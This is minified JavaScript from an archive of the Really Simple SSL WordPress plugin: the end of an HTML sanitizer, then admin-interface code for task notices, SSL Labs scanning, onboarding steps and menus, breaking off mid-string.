if("src"!==t&&"xlink:href"!==t&&"href"!==t||"script"===e||0!==T(n,"data:")||!$e[e])if(ke&&!_(ye,g(n,Ee,"")));else if(n)return!1;return!0},wt=function(e){return"annotation-xml"!==e&&h(e,_e)},Ct=function(e){bt("beforeSanitizeAttributes",e,null);const{attributes:t}=e;if(!t)return;const n={attrName:"",attrValue:"",keepAttr:!0,allowedAttributes:Se};let r=t.length;for(;r--;){const i=t[r],{name:a,namespaceURI:l,value:c}=i,s=lt(a);let p="value"===a?c:y(c);if(n.attrName=s,n.attrValue=p,n.keepAttr=!0,n.forceKeepAttr=void 0,bt("uponSanitizeAttribute",e,n),p=n.attrValue,n.forceKeepAttr)continue;if(yt(a,e),!n.keepAttr)continue;if(!Oe&&_(/\/>/i,p)){yt(a,e);continue}xe&&u([fe,de,he],(e=>{p=g(p,e," ")}));const f=lt(e.nodeName);if(Rt(f,s,p))if(!We||"id"!==s&&"name"!==s||(yt(a,e),p="user-content-"+p),Ie&&_(/((--!?|])>)|<\/(style|title)/i,p))yt(a,e);else{if(ie&&"object"==typeof G&&"function"==typeof G.getAttributeType)if(l);else switch(G.getAttributeType(f,s)){case"TrustedHTML":p=ie.createHTML(p);break;case"TrustedScriptURL":p=ie.createScriptURL(p)}try{l?e.setAttributeNS(l,a,p):e.setAttribute(a,p),At(e)?Tt(e):m(o.removed)}catch(e){}}}bt("afterSanitizeAttributes",e,null)},Lt=function e(t){let n=null;const o=_t(t);for(bt("beforeSanitizeShadowDOM",t,null);n=o.nextNode();)bt("uponSanitizeShadowNode",n,null),St(n)||(n.content instanceof s&&e(n.content),Ct(n));bt("afterSanitizeShadowDOM",t,null)};return o.sanitize=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=null,r=null,i=null,l=null;if(nt=!e,nt&&(e="\x3c!--\x3e"),"string"!=typeof e&&!Nt(e)){if("function"!=typeof e.toString)throw A("toString is not a function");if("string"!=typeof(e=e.toString()))throw A("dirty is not a string, aborting")}if(!o.isSupported)return e;if(Ue||mt(t),o.removed=[],"string"==typeof e&&(Ye=!1),Ye){if(e.nodeName){const t=lt(e.nodeName);if(!Ne[t]||Ce[t])throw A("root node is forbidden and cannot be sanitized in-place")}}else if(e instanceof b)n=Et("\x3c!----\x3e"),r=n.ownerDocument.importNode(e,!0),r.nodeType===V&&"BODY"===r.nodeName||"HTML"===r.nodeName?n=r:n.appendChild(r);else{if(!Fe&&!xe&&!Me&&-1===e.indexOf("<"))return ie&&ze?ie.createHTML(e):e;if(n=Et(e),!n)return Fe?null:ze?ae:""}n&&Pe&&Tt(n.firstChild);const c=_t(Ye?e:n);for(;i=c.nextNode();)St(i)||(i.content instanceof s&&Lt(i.content),Ct(i));if(Ye)return e;if(Fe){if(He)for(l=se.call(n.ownerDocument);n.firstChild;)l.appendChild(n.firstChild);else l=n;return(Se.shadowroot||Se.shadowrootmode)&&(l=me.call(a,l,!0)),l}let m=Me?n.outerHTML:n.innerHTML;return Me&&Ne["!doctype"]&&n.ownerDocument&&n.ownerDocument.doctype&&n.ownerDocument.doctype.name&&_(q,n.ownerDocument.doctype.name)&&(m="<!DOCTYPE "+n.ownerDocument.doctype.name+">\n"+m),xe&&u([fe,de,he],(e=>{m=g(m,e," ")})),ie&&ze?ie.createHTML(m):m},o.setConfig=function(){mt(arguments.length>0&&void 0!==arguments[0]?arguments[0]:{}),Ue=!0},o.clearConfig=function(){ct=null,Ue=!1},o.isValidAttribute=function(e,t,n){ct||mt({});const o=lt(e),r=lt(t);return Rt(o,r,n)},o.addHook=function(e,t){"function"==typeof t&&(pe[e]=pe[e]||[],p(pe[e],t))},o.removeHook=function(e){if(pe[e])return m(pe[e])},o.removeHooks=function(e){pe[e]&&(pe[e]=[])},o.removeAllHooks=function(){pe={}},o}()}()}}]);really-simple-ssl/settings/build/928.a4828756026ad32cf7bc.js000064400002474356147510273070016612 0ustar00"use strict";(self.webpackChunkreally_simple_ssl=self.webpackChunkreally_simple_ssl||[]).push([[928],{2828:(e,l,t)=>{t.d(l,{A:()=>n});var a=t(1621),s=t(4110);const n=(0,a.vt)(((e,l)=>({filter:"all",progressText:"",notices:[],error:!1,percentageCompleted:0,progressLoaded:!1,setFilter:l=>{sessionStorage.rsssl_task_filter=l,e((e=>({filter:l})))},fetchFilter:()=>{if("undefined"!=typeof Storage&&sessionStorage.rsssl_task_filter){let l=sessionStorage.rsssl_task_filter;e((e=>({filter:l})))}},getProgressData:async()=>{const{percentage:l,text:t,notices:a,error:n}=await s.YA("progressData","refresh").then((e=>e));e((e=>({notices:a,percentageCompleted:l,progressText:t,progressLoaded:!0,error:n})))},dismissNotice:async t=>{let a=l().notices;a=a.filter((function(e){return e.id!==t})),e((e=>({notices:a})));const{percentage:n}=await s.YA("dismiss_task",t);e({percentageCompleted:n})}})))},3056:(e,l,t)=>{t.d(l,{A:()=>n});var a=t(1621),s=t(4110);const n=(0,a.vt)(((e,l)=>({debug:!1,sslScanStatus:!1,sslData:!1,endpointData:[],dataLoaded:!1,clearCache:!1,requestActive:!1,intervalId:!1,setIntervalId:l=>e({intervalId:l}),setRequestActive:l=>e({requestActive:l}),setSslScanStatus:l=>e({sslScanStatus:l}),setClearCache:l=>e({clearCache:l}),setSslData:l=>e({sslData:l}),setEndpointData:l=>e({endpointData:l}),isLocalHost:()=>!l().debug&&-1!==window.location.host.indexOf("localhost"),host:()=>l().debug?"wordpress.org":window.location.host,fetchSslData:async()=>{s.Eo("ssltest_get").then((t=>{if(t.data.hasOwnProperty("host")){let a=l().processSslData(t.data);e({sslData:a,endpointData:a.endpointData,dataLoaded:!0})}}))},getSslLabsData:t=>{let a="";l().clearCache&&(e({clearCache:!1,sslData:!1}),a="&startNew=on");const n="https://api.ssllabs.com/api/v3/analyze?host="+l().host()+a;let i={};return i.url=n,s.Eo("ssltest_run",i).then((e=>!(!e||e.errors)&&JSON.parse(e)))},runSslTest:()=>{l().getSslLabsData().then((t=>{if(t.status&&"ERROR"===t.status)t=l().processSslData(t),e({sslData:t,sslScanStatus:"completed"}),clearInterval(l().intervalId);else if(t.endpoints&&t.endpoints.filter((e=>"Ready"===e.statusMessage)).length>0){let a=t.endpoints.filter((e=>"Ready"===e.statusMessage)),n=a[a.length-1].ipAddress;l().getEndpointData(n).then((a=>{let n=l().endpointData;if(Array.isArray(n)||(n=[]),!a.errors){let l=!1;n.length>0&&n.forEach((function(e,t){e.ipAddress===a.ipAddress&&(n[t]=a,l=!0)})),l||(n[n.length]=a),e({endpointData:n}),t.endpointData=n}t.errors||s.Eo("store_ssl_labs",t),t=l().processSslData(t),e({sslData:t,requestActive:!1})}))}else(t=l().processSslData(t)).errors||s.Eo("store_ssl_labs",t).then((e=>{})),e({sslData:t,requestActive:!1})}))},processSslData:l=>{l||(l={});let t=l.progress?l.progress:0,a=l.startTime?l.startTime:"",s=l.statusMessage?l.statusMessage:"",n=l.grade?l.grade:"?",i="";if(l.endpoints){let e=l.endpoints.filter((e=>"Ready"===e.statusMessage)),a=e.length,c=e[a-1],r=l.endpoints.filter((e=>"In progress"===e.statusMessage))[0],m=0;r&&(m=r.progress?r.progress:0,s=r.statusDetailsMessage,i=r.ipAddress),c&&(n=c.grade),t=(100*a+m)/l.endpoints.length}l.errors&&(n="?",s=l.errors[0].message,t=100);let c={};return t>=100&&e({sslScanStatus:"completed"}),c.grade=n,c.startTime=a,c.statusMessage=s,c.ipAddress=i,c.progress=t,l.summary=c,l},getEndpointData:e=>{const t="https://api.ssllabs.com/api/v3/getEndpointData?host="+l().host()+"&s="+e;let a={};return a.url=t,s.Eo("ssltest_run",a).then((e=>{if(e&&!e.errors)return JSON.parse(e)}))}})))},9684:(e,l,t)=>{t.d(l,{A:()=>v});var a=t(1609),s=t(7723),n=t(4937),i=t(4110),c=t(6975),r=t(2828),m=t(2043),d=t(2838),o=t.n(d),h=t(6087);const v=e=>{const{dismissNotice:l,getProgressData:t}=(0,r.A)(),{getField:d,setHighLightField:v,showSavedSettingsNotice:u}=(0,c.A)(),{setSelectedSubMenuItem:_}=(0,m.A)(),[p,f]=(0,h.useState)(!1);let g=e.notice,E="premium"===g.output.icon,Z=g.output.url&&-1!==g.output.url.indexOf("really-simple-ssl.com");return(0,a.createElement)("div",{className:"rsssl-task-element"},(0,a.createElement)("span",{className:"rsssl-task-status rsssl-"+g.output.icon},g.output.label),(0,a.createElement)("p",{className:"rsssl-task-message",dangerouslySetInnerHTML:{__html:o().sanitize(g.output.msg)}})," ",Z&&g.output.url&&(0,a.createElement)("a",{target:"_blank",rel:"noopener noreferrer",href:g.output.url},(0,s.__)("More info","really-simple-ssl")),g.output.clear_cache_id&&(0,a.createElement)("span",{className:"rsssl-task-enable button button-secondary",onClick:()=>(e=>{f(!0);let l={};l.cache_id=e,i.Eo("clear_cache",l).then((e=>{f(!1),u((0,s.__)("Re-started test","really-simple-ssl")),t()}))})(g.output.clear_cache_id)},(0,s.__)("Re-check","really-simple-ssl")),g.output.fix_id&&(0,a.createElement)("span",{className:"rsssl-task-enable button button-secondary",onClick:()=>(e=>{let l={};l.fix_id=e,f(!0),i.Eo("fix",l).then((e=>{f(!1),u(e.msg),t()}))})(g.output.fix_id)},!p&&(0,s.__)("Fix","really-simple-ssl"),p&&(0,a.createElement)(n.default,{name:"loading",color:"black",size:14})),!E&&!Z&&g.output.url&&(0,a.createElement)("a",{className:"rsssl-task-enable button button-secondary",href:g.output.url},!p&&(0,s.__)("View","really-simple-ssl"),p&&(0,a.createElement)(n.default,{name:"loading",color:"black",size:14})),!E&&g.output.highlight_field_id&&(0,a.createElement)("span",{className:"rsssl-task-enable button button-secondary",onClick:()=>(async()=>{v(e.notice.output.highlight_field_id);let l=d(e.notice.output.highlight_field_id);await _(l.menu_id)})()},(0,s.__)("View","really-simple-ssl")),g.output.plusone&&(0,a.createElement)("span",{className:"rsssl-plusone"},"1"),g.output.dismissible&&"completed"!==g.output.status&&(0,a.createElement)("div",{className:"rsssl-task-dismiss"},(0,a.createElement)("button",{type:"button",onClick:e=>l(g.id)},(0,a.createElement)(n.default,{name:"times"}))))}},4144:(e,l,t)=>{t.d(l,{A:()=>c});var a=t(1609),s=t(7723),n=t(2043);const i=e=>{const{selectedSubMenuItem:l,selectedMainMenuItem:t,subMenu:c,menu:m}=(0,n.A)(),d=r(l,e.menuItem);let o=d?" rsssl-active":"";o+=e.menuItem.featured?" rsssl-featured":"",o+=e.menuItem.new?" rsssl-new":"",o+=e.menuItem.premium&&!rsssl_settings.pro_plugin_active?" rsssl-premium":"";let h=e.menuItem.directLink||"#"+t+"/"+e.menuItem.id;return(0,a.createElement)(a.Fragment,null,e.menuItem.visible&&(0,a.createElement)(a.Fragment,null,e.isMainMenu?(0,a.createElement)("div",{className:"rsssl-main-menu"},(0,a.createElement)("div",{className:"rsssl-menu-item"+o},(0,a.createElement)("a",{href:h},(0,a.createElement)("span",null,e.menuItem.title),e.menuItem.featured&&(0,a.createElement)("span",{className:"rsssl-menu-item-beta-pill"},(0,s.__)("Beta","really-simple-ssl")),e.menuItem.new&&(0,a.createElement)("span",{className:"rsssl-menu-item-new-pill"},(0,s.__)("New","really-simple-ssl"))))):(0,a.createElement)("div",{className:"rsssl-menu-item"+o},(0,a.createElement)("a",{href:h},(0,a.createElement)("span",null,e.menuItem.title),e.menuItem.featured&&(0,a.createElement)("span",{className:"rsssl-menu-item-beta-pill"},(0,s.__)("Beta","really-simple-ssl")),e.menuItem.new&&(0,a.createElement)("span",{className:"rsssl-menu-item-new-pill"},(0,s.__)("New","really-simple-ssl")))),e.menuItem.menu_items&&d&&(0,a.createElement)("div",{className:"rsssl-submenu-item"},(v=e.menuItem.menu_items,Array.isArray(v)?v:[v]).map(((e,l)=>e.visible&&(0,a.createElement)(i,{key:"submenuItem"+l,menuItem:e,isMainMenu:!1}))))));var v},c=i,r=(e,l)=>{if(e===l.id)return!0;if(l.menu_items)for(const t of l.menu_items)if(t.id===e)return!0;return!1}},3201:(e,l,t)=>{t.d(l,{A:()=>k});var a=t(1609),s=t(6087),n=t(7723),i=t(4937),c=t(9695),r=t(6975),m=t(7283),d=t(5281);const o=(0,s.memo)((()=>{const{fetchFieldsData:e,getFieldValue:l,fieldsLoaded:t}=(0,r.A)(),{email:i,setEmail:c,includeTips:d,setIncludeTips:o}=(0,m.A)();return(0,s.useEffect)((()=>{t||e()}),[]),(0,s.useEffect)((()=>{""!==l("notifications_email_address")&&""===i&&c(l("notifications_email_address"))}),[]),(0,a.createElement)(a.Fragment,null,(0,a.createElement)("div",null,(0,a.createElement)("input",{type:"email",value:i,placeholder:(0,n.__)("Your email address","really-simple-ssl"),onChange:e=>c(e.target.value)})),(0,a.createElement)("div",null,(0,a.createElement)("label",null,(0,a.createElement)("input",{onChange:e=>o(e.target.checked),type:"checkbox",checked:d}),(0,n.__)("Include 6 Tips & Tricks to get started with Really Simple Security.","really-simple-ssl")," ",(0,a.createElement)("a",{href:"https://really-simple-ssl.com/legal/privacy-statement/",target:"_blank"},(0,n.__)("Privacy Statement","really-simple-ssl")))))}));var h=t(489);const v=(0,s.memo)((({item:e})=>{let{title:l,status:t,id:s}=e;const{overrideSSL:c,setOverrideSSL:r,certificateValid:d}=(0,m.A)(),o={inactive:{icon:"info",color:"grey"},warning:{icon:"circle-times",color:"orange"},error:{icon:"circle-times",color:"red"},success:{icon:"circle-check",color:"green"},processing:{icon:"loading",color:"black"}},h="success"!==e.status&&"none"===e.current_action?"empty":o[t].icon,v=o[t].color;return(0,a.createElement)(a.Fragment,null,(0,a.createElement)("li",null,(0,a.createElement)(i.default,{name:h,color:v}),l,"certificate"===s&&!d&&(0,a.createElement)(a.Fragment,null," ",(0,a.createElement)("a",{href:"#",onClick:e=>refreshSSLStatus(e)},(0,n.__)("Check again","really-simple-ssl")))),"certificate"===s&&!d&&(0,a.createElement)("li",null,(0,a.createElement)("label",{className:"rsssl-override-detection-toggle"},(0,a.createElement)("input",{onChange:e=>r(e.target.checked),type:"checkbox",checked:c}),(0,n.__)("Override SSL detection.","really-simple-ssl"))))})),u=(0,s.memo)((({isModal:e})=>{const{fetchFieldsData:l,getField:t,fieldsLoaded:n,updateField:i,setChangedField:c,saveFields:d}=(0,r.A)(),{currentStep:o}=(0,m.A)();(0,s.useEffect)((()=>{n||l()}),[]);let u=n&&t("other_host_type"),_=o.items?o.items:[];if(rsssl_settings.cloudflare&&!_.some((e=>"cf"===e.id))){let e={status:"success",title:"CloudFlare",id:"cf"};_.unshift(e)}return(0,a.createElement)(a.Fragment,null,e&&(0,a.createElement)(h.A,{field:u,showDisabledWhenSaving:!1}),(0,a.createElement)("ul",null,_&&_.map(((e,l)=>(0,a.createElement)(v,{key:"step-config-"+l,item:e})))))}));var _=t(5035),p=t(5683);const f=(0,s.memo)((()=>{const{currentStepIndex:e,setCurrentStepIndex:l}=(0,m.A)(),{getField:t}=(0,r.A)(),{licenseStatus:n}=(0,p.A)(),i=rsssl_settings.pro_plugin_active;return(0,s.useEffect)((()=>{i&&"valid"!==n||l(e+1)}),[n,i]),(0,a.createElement)("div",{className:"rsssl-license"},(0,a.createElement)(_.A,{field:t("license"),isOnboarding:!0}))})),g=(0,s.memo)((({item:e,disabled:l})=>{const{updateItemStatus:t,currentStep:s}=(0,m.A)();let{title:n,description:i,id:c,activated:r}=e;return(0,a.createElement)("li",null,(0,a.createElement)("label",{className:"rsssl-modal-checkbox-container"},(0,a.createElement)("input",{type:"checkbox",disabled:l,checked:r,value:c,id:c,onChange:e=>t(s.id,c,null,null,e.target.checked)}),(0,a.createElement)("span",{className:"rsssl-checkmark"})),n,i&&(0,a.createElement)(a.Fragment,null," - ",i))})),E=(0,s.memo)((({item:e})=>{let{title:l}=e;return(0,a.createElement)("li",null,(0,a.createElement)("div",{className:"rsssl-modal-premium-container"},"PRO"),l)})),Z=(0,s.memo)((()=>{const{currentStep:e}=(0,m.A)();let l=e.items?e.items:[],t=l.filter((e=>!e.premium)),s=l.filter((e=>e.premium));return(0,a.createElement)(a.Fragment,null,(0,a.createElement)("ul",null,t&&(0,a.createElement)("div",{className:"rsssl-checkbox-items"},t.map(((e,l)=>(0,a.createElement)(g,{key:"step-features"+l,item:e})))),s&&(0,a.createElement)("div",{className:"rsssl-premium-items"},s.map(((e,l)=>(0,a.createElement)(E,{key:"step-features"+l,item:e}))))))})),y=(0,s.memo)((()=>{const{currentStep:e,currentStepIndex:l,setCurrentStepIndex:t}=(0,m.A)();(0,s.useEffect)((()=>{0===e.items.filter((e=>"none"!==e.action)).length&&t(l+1)}),[]);let n=e.items;return(0,a.createElement)(a.Fragment,null,(0,a.createElement)("ul",null,n&&n.map(((e,l)=>(0,a.createElement)(g,{key:"step-plugins"+l,item:e,disabled:"none"===e.action})))))})),w=(0,s.memo)((()=>{const{currentStep:e}=(0,m.A)();let l=e.items;return(0,a.createElement)(a.Fragment,null,(0,a.createElement)("ul",null,!rsssl_settings.pro_plugin_active&&l&&(0,a.createElement)("div",{className:"rsssl-premium-items"},l.map(((e,l)=>(0,a.createElement)(E,{key:"step-pro"+l,item:e})))),rsssl_settings.pro_plugin_active&&l&&(0,a.createElement)("div",{className:"rsssl-checkbox-items"},l.map(((e,l)=>(0,a.createElement)(g,{key:"step-pro"+l,item:e}))))))}));t(2838);const k=({isModal:e})=>{const{fetchFieldsData:l,fieldsLoaded:t}=(0,r.A)(),{getSteps:h,error:v,networkwide:_,sslEnabled:p,dataLoaded:g,processing:E,currentStep:k,currentStepIndex:R,setCurrentStepIndex:M,networkActivationStatus:F,networkProgress:b,activateSSLNetworkWide:C}=(0,m.A)();return(0,s.useEffect)((()=>{_&&"main_site_activated"===F&&setTimeout((()=>{C()}),1e3)}),[F,b]),(0,s.useEffect)((()=>{t||l()}),[]),(0,s.useEffect)((()=>{(async()=>{await h(!1),g&&steps.length>0&&M(0)})()}),[]),v?(0,a.createElement)(c.A,{lines:"3",error:v}):(0,a.createElement)(a.Fragment,null,!g&&(0,a.createElement)(a.Fragment,null,(0,a.createElement)("div",{className:"rsssl-onboarding-placeholder"},(0,a.createElement)("ul",null,(0,a.createElement)("li",null,(0,a.createElement)(i.default,{name:"loading",color:"grey"}),(0,n.__)("Fetching next step...","really-simple-ssl"))),(0,a.createElement)(c.A,{lines:"3"}))),g&&(0,a.createElement)("div",{className:" rsssl-"+k.id},"activate_ssl"===k.id&&(0,a.createElement)(a.Fragment,null,(0,a.createElement)(u,{isModal:e})),"activate_license"===k.id&&(0,a.createElement)(a.Fragment,null,(0,a.createElement)(f,null)),"features"===k.id&&(0,a.createElement)(a.Fragment,null,(0,a.createElement)(Z,null)),"email"===k.id&&(0,a.createElement)(a.Fragment,null,(0,a.createElement)(o,null)),"plugins"===k.id&&(0,a.createElement)(a.Fragment,null,(0,a.createElement)(y,null)),"pro"===k.id&&(0,a.createElement)(a.Fragment,null,(0,a.createElement)(w,null)),!e&&(0,a.createElement)(d.A,{isModal:!1})))}},5281:(e,l,t)=>{t.d(l,{A:()=>v});var a=t(1609),s=t(6427),n=t(7723),i=t(2043),c=t(6975),r=t(7283),m=t(2828),d=t(4449),o=t(3056),h=t(5683);const v=({isModal:e})=>{const{getProgressData:l}=(0,m.A)(),{updateField:t,setChangedField:v,updateFieldsData:u,fetchFieldsData:_,saveFields:p,getFieldValue:f}=(0,c.A)(),{setSelectedMainMenuItem:g,selectedSubMenuItem:E}=(0,i.A)(),{licenseStatus:Z,toggleActivation:y}=(0,h.A)(),{fetchFirstRun:w,fetchVulnerabilities:k}=(0,d.A)(),{setSslScanStatus:R}=(0,o.A)(),{dismissModal:M,activateSSL:F,certificateValid:b,setFooterStatus:C,networkwide:H,processing:V,setProcessing:S,steps:A,currentStepIndex:U,currentStep:x,setCurrentStepIndex:T,overrideSSL:D,email:L,saveEmail:N,pluginInstaller:O}=(0,r.A)(),B=async()=>{let a=!1;if("features"===x.id){T(U+1),S(!0);for(const e of x.items){if("health_scan"===e.id&&e.activated&&(C((0,n.__)("Starting SSL health scan...","really-simple-ssl")),R("active")),!e.premium||!e.activated)for(const l of Object.values(e.options)){const a=e.value||e.activated;t(l,a),v(l,a)}"vulnerability_detection"===e.id&&(a=e.activated)}C((0,n.__)("Activating options...","really-simple-ssl")),await p(!0,!1),a&&(C((0,n.__)("Initializing vulnerability detection...","really-simple-ssl")),await w(),C((0,n.__)("Scanning for vulnerabilities...","really-simple-ssl")),await k()),C((0,n.__)("Updating dashboard...","really-simple-ssl")),await l(),C(""),S(!1)}if("email"===x.id&&(await N(),T(U+1),t("send_notifications_email",!0),t("notifications_email_address",L),u(E)),"plugins"===x.id){T(U+1);for(const e of x.items)"none"!==e.action&&null!==e.action&&await O(e.id,e.action,e.title);C("")}if("pro"===x.id){if(rsssl_settings.pro_plugin_active){S(!0);for(const e of x.items)if(e.activated)if("advanced_headers"===e.id){for(const l of e.options)if("string"==typeof l)t(l,!0),v(l,!0);else if(Array.isArray(l)){const[e,a]=l;t(e,a),v(e,a)}}else for(const l of Object.values(e.options)){const a=e.value||e.activated;t(l,a),v(l,a)}C((0,n.__)("Activating options...","really-simple-ssl")),await p(!0,!1),C((0,n.__)("Updating dashboard...","really-simple-ssl")),await l(),C(""),S(!1)}e&&M(!0),g("dashboard")}"activate_license"===x.id&&"valid"!==Z&&(await y(f("license")),"valid"===Z&&T(U+1))};let z=H?(0,n.__)("Activate SSL networkwide","really-simple-ssl"):(0,n.__)("Activate SSL","really-simple-ssl");if("activate_ssl"===x.id)return(0,a.createElement)(a.Fragment,null,e&&!b&&(0,a.createElement)(s.Button,{onClick:()=>{e&&M(!0),window.location.href=rsssl_settings.letsencrypt_url}},(0,n.__)("Install SSL","really-simple-ssl")),(0,a.createElement)(s.Button,{disabled:V||!b&&!D,isPrimary:!0,onClick:()=>{(async()=>{await F(),await l(),await _()})()}},z));if("activate_license"===x.id)return(0,a.createElement)(a.Fragment,null,(0,a.createElement)(s.Button,{isPrimary:!0,onClick:()=>B()},x.button||(0,n.__)("Activate","really-simple-ssl")));if(U>0&&U<A.length-1)return(0,a.createElement)(a.Fragment,null,"activate_license"!==x.id&&(0,a.createElement)(s.Button,{onClick:()=>{T(U+1)}},(0,n.__)("Skip","really-simple-ssl")),(0,a.createElement)(s.Button,{isPrimary:!0,onClick:()=>B()},x.button));if(A.length-1===U){let e=rsssl_settings.is_bf?(0,n.__)("Get 40% off","really-simple-ssl"):(0,n.__)("Get Pro","really-simple-ssl");return(0,a.createElement)(a.Fragment,null,(0,a.createElement)(s.Button,{isPrimary:!0,onClick:()=>B(),disabled:rsssl_settings.pro_plugin_active&&"valid"!==Z},(0,n.__)("Finish","really-simple-ssl")),!rsssl_settings.pro_plugin_active&&(0,a.createElement)(s.Button,{rel:"noreferrer noopener",target:"_blank",isPrimary:!0,href:rsssl_settings.upgrade_link},e))}}},7928:(e,l,t)=>{t.r(l),t.d(l,{default:()=>Gs});var a={};t.r(a),t.d(a,{AD:()=>Nt,AE:()=>ht,AF:()=>wl,AG:()=>Rt,AL:()=>Lt,AM:()=>Ot,AO:()=>ke,AQ:()=>fe,AR:()=>ae,AT:()=>Bt,AU:()=>ne,AZ:()=>zt,BA:()=>Gt,BB:()=>Ft,BD:()=>Rl,BE:()=>It,BF:()=>Fe,BG:()=>Kt,BH:()=>kl,BI:()=>be,BJ:()=>Re,BN:()=>Fl,BO:()=>Va,BR:()=>te,BS:()=>Mt,BT:()=>Ml,BW:()=>Me,BY:()=>Pt,BZ:()=>pt,CA:()=>ee,CC:()=>Ee,CD:()=>xe,CF:()=>Ve,CG:()=>Ue,CH:()=>Ea,CI:()=>We,CL:()=>Ha,CM:()=>He,CN:()=>Cl,CO:()=>se,CR:()=>ft,CU:()=>bt,CV:()=>Ce,CW:()=>kt,CY:()=>Hl,CZ:()=>jt,DE:()=>ka,DJ:()=>Te,DK:()=>qt,DM:()=>Ct,DO:()=>Ht,DZ:()=>we,EC:()=>Sa,EE:()=>Yt,EG:()=>De,ER:()=>Ne,ES:()=>Ma,ET:()=>Be,FI:()=>Jt,FJ:()=>ce,FM:()=>he,FR:()=>Ra,GA:()=>ze,GB:()=>wa,GD:()=>Vt,GE:()=>Sl,GH:()=>Ie,GM:()=>Pe,GN:()=>Ge,GQ:()=>Le,GR:()=>$t,GT:()=>Et,GW:()=>Ke,GY:()=>Aa,HK:()=>pe,HN:()=>Zt,HR:()=>Wt,HT:()=>St,HU:()=>Qt,ID:()=>Ul,IE:()=>ea,IL:()=>Dl,IN:()=>Al,IQ:()=>Tl,IR:()=>xl,IS:()=>Xt,IT:()=>Fa,JM:()=>At,JO:()=>Nl,JP:()=>Ll,KE:()=>je,KG:()=>zl,KH:()=>bl,KI:()=>Ua,KM:()=>Ae,KN:()=>Ut,KP:()=>Jl,KR:()=>st,KW:()=>Bl,KZ:()=>Ol,LA:()=>Pl,LB:()=>Il,LC:()=>xt,LI:()=>ta,LK:()=>nt,LR:()=>Ye,LS:()=>qe,LT:()=>aa,LU:()=>sa,LV:()=>la,LY:()=>Je,MA:()=>tl,MC:()=>ra,MD:()=>ca,ME:()=>ma,MG:()=>$e,MH:()=>ve,MK:()=>na,ML:()=>Xe,MM:()=>ql,MN:()=>jl,MO:()=>Gl,MR:()=>el,MT:()=>ia,MU:()=>ll,MV:()=>Wl,MW:()=>Qe,MX:()=>le,MY:()=>Kl,MZ:()=>al,NA:()=>sl,NE:()=>nl,NG:()=>il,NI:()=>yt,NL:()=>ba,NO:()=>da,NP:()=>Yl,NR:()=>xa,NZ:()=>ie,OM:()=>$l,PA:()=>wt,PE:()=>Da,PG:()=>re,PH:()=>et,PK:()=>Ql,PL:()=>Ca,PM:()=>ge,PR:()=>_e,PS:()=>Xl,PT:()=>oa,PW:()=>ue,PY:()=>Ta,QA:()=>lt,RO:()=>ha,RS:()=>_a,RU:()=>va,RW:()=>cl,SA:()=>tt,SB:()=>me,SC:()=>dl,SD:()=>_l,SE:()=>ga,SG:()=>at,SI:()=>fa,SK:()=>pa,SL:()=>ol,SM:()=>ua,SN:()=>ml,SO:()=>hl,SS:()=>ul,ST:()=>rl,SV:()=>gt,SY:()=>it,SZ:()=>Oe,TD:()=>Se,TG:()=>fl,TH:()=>mt,TJ:()=>rt,TL:()=>Vl,TM:()=>ot,TN:()=>gl,TO:()=>La,TR:()=>dt,TT:()=>Dt,TV:()=>Na,TW:()=>ct,TZ:()=>pl,UA:()=>Za,UG:()=>El,UK:()=>wa,US:()=>X,UY:()=>Oa,UZ:()=>vt,VA:()=>ya,VC:()=>Tt,VE:()=>Ba,VG:()=>Ze,VI:()=>ye,VN:()=>ut,VU:()=>de,WS:()=>oe,XK:()=>_a,YE:()=>_t,ZA:()=>vl,ZM:()=>Zl,ZW:()=>yl});var s=t(1609),n=t.n(s),i=t(6427),c=t(7723),r=t(5035),m=t(6975);const d=e=>{const{updateField:l,setChangedField:t}=(0,m.A)();return(0,s.createElement)("div",{className:"components-base-control"},(0,s.createElement)("div",{className:"components-base-control__field"},(0,s.createElement)("label",{className:"components-base-control__label",htmlFor:e.field.id},e.field.label),(0,s.createElement)("input",{className:"components-text-control__input",type:"password",id:e.field.id,value:e.field.value,onChange:a=>{return s=a.target.value,l(e.field.id,s),void t(e.field.id,s);var s}})))};var o=t(2838),h=t.n(o);const v=e=>{let l=e.field,t=!Array.isArray(e.disabled)&&e.disabled,a=!!Array.isArray(e.disabled)&&e.disabled;return(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"components-base-control"},(0,s.createElement)("div",{className:"components-base-control__field"},(0,s.createElement)("div",{"data-wp-component":"HStack",className:"components-flex components-select-control"},(0,s.createElement)("label",{htmlFor:l.id,className:"components-toggle-control__label"},e.label),(0,s.createElement)("select",{disabled:t,value:e.value,onChange:l=>e.onChangeHandler(l.target.value)},e.options.map(((e,l)=>(0,s.createElement)("option",{key:"option-"+l,value:e.value,disabled:a&&a.includes(e.value)},e.label))))))),l.comment&&(0,s.createElement)("div",{className:"rsssl-comment",dangerouslySetInnerHTML:{__html:h().sanitize(l.comment)}}))};var u=t(489),_=t(4124),p=t(6087),f=t(4110),g=t(9166),E=t(2043),Z=t(435),y=t(6155);const w=({action:e,field:l})=>{const{switchButtonDisabled:t,updateVerificationType:a,setRefreshTests:n}=(0,Z.A)(),{addHelpNotice:r,updateField:d,setChangedField:o,saveFields:h,fetchFieldsData:v}=(0,m.A)(),{setSelectedSubMenuItem:u}=(0,E.A)();if((0,p.useEffect)((()=>{e&&"challenge_directory_reachable"===e.action&&"error"===e.status&&r(l.id,"default",(0,c.__)("The challenge directory is used to verify the domain ownership.","really-simple-ssl")),e&&"check_key_directory"===e.action&&"error"===e.status&&r(l.id,"default",(0,c.__)("The key directory is needed to store the generated keys.","really-simple-ssl")+" "+(0,c.__)("By placing it outside the root folder, it is not publicly accessible.","really-simple-ssl")),e&&"check_certs_directory"===e.action&&"error"===e.status&&r(l.id,"default",(0,c.__)("The certificate will get stored in this directory.","really-simple-ssl")+" "+(0,c.__)("By placing it outside the root folder, it is not publicly accessible.","really-simple-ssl"))}),[e]),!e)return(0,s.createElement)(s.Fragment,null);const f=async()=>{d("verification_type","dns"),o("verification_type","dns"),await h(!0,!0),await a("dns"),await u("le-dns-verification"),await v("le-dns-verification"),n(!0)};let g="error"===e.status&&"challenge_directory_reachable"===e.action;return(0,s.createElement)("div",{className:"rsssl-test-results"},"error"===e.status&&(0,s.createElement)("h4",null,(0,c.__)("Next step","really-simple-ssl")),!g&&"cpanel"===rsssl_settings.hosting_dashboard&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)("p",null,(0,s.createElement)(_.A,{target:"_blank",rel:"noopener noreferrer",text:(0,c.__)("If you also want to secure subdomains like mail.domain.com, cpanel.domain.com, you have to use the %sDNS%s 